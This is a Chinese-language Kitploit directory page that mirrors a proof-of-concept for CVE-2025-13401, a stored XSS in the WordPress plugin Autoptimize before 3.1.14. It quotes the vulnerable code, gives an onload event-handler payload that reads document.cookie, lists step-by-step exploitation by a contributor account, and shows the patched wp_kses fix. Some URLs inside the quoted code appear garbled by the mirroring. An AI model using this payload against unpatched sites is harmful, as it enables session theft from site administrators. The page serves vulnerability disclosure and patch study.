Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-13401-XSS-Stored — Proof-of-concept for authenticated stored XSS in Autoptimize < 3.1.14, exploiting insufficient attribute sanitization in image preload tag generation. | Kitploit
工具/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Proof-of-concept for authenticated stored XSS in Autoptimize < 3.1.14, exploiting insufficient attribute sanitization in image preload tag generation.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
9个月前尚未审核
分享

概念验证:Autoptimize < 3.1.14 中的存储型XSS

漏洞:认证用户(贡献者及以上)存储型跨站脚本攻击(XSS) 受影响版本:Autoptimize <= 3.1.13 修复版本:Autoptimize 3.1.14 文件:classes/autoptimizeImages.php

描述

该漏洞存在于 classes/autoptimizeImages.php 文件中的 create_img_preload_tag() 方法中。此函数负责在启用图片优化或预加载时,为内容中的图片生成 <link rel="preload"> 标签。

在版本 3.1.13 中,该函数采用“黑名单”方法(通过 preg_replace)在将原始 `` 标签转换为 <link> 标签之前,移除特定属性如 title、alt、class、id、width 和 height。然而,它未能移除事件处理属性如 onload 或 onerror。

经过身份验证的攻击者(至少拥有贡献者角色)可以在帖子中嵌入恶意的 `` 标签。当插件处理该帖子以生成预加载链接时,恶意的事件处理程序被保留并注入到页面 <head> 中的 <link> 标签内。由于 <link rel="preload"> 支持 onload 事件,当资源加载时,JavaScript 会执行。

漏洞代码(v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

概念验证步骤

前提条件

  1. 安装 Autoptimize 版本 3.1.13。
  2. 启用“优化图片”或确保图片预加载处于激活状态(例如,通过“预加载特定请求”或作用于图片的默认行为)。
    • 注:易受攻击的函数 create_img_preload_tag 通常针对视口中检测到的图片或显式预加载的图片被触发。

负载

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

利用步骤

  1. 以贡献者角色(或更高)的用户身份登录。
  2. 创建一篇新文章。
  3. 将负载注入到文章内容中(使用自定义 HTML 块或代码编辑器)。
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (使用本地资源通常能确保加载事件快速触发。任何有效的图片 URL 均可。)
  4. 保存文章。
  5. 等待管理员查看该文章(或自己查看)。
  6. Autoptimize 插件会解析 `` 标签。
  7. 它会在 HTML 源代码中生成预加载链接:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    注:属性 width、height 等可能被移除,但 onload 保留。
  8. 浏览器解析 <link> 标签,预加载资源,并触发 onload 事件,执行 XSS。

v3.1.14 中的修复

该补丁用 wp_kses() 替换了黑名单正则表达式,为生成的 <link> 标签启用了严格的允许属性白名单。

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
下载工具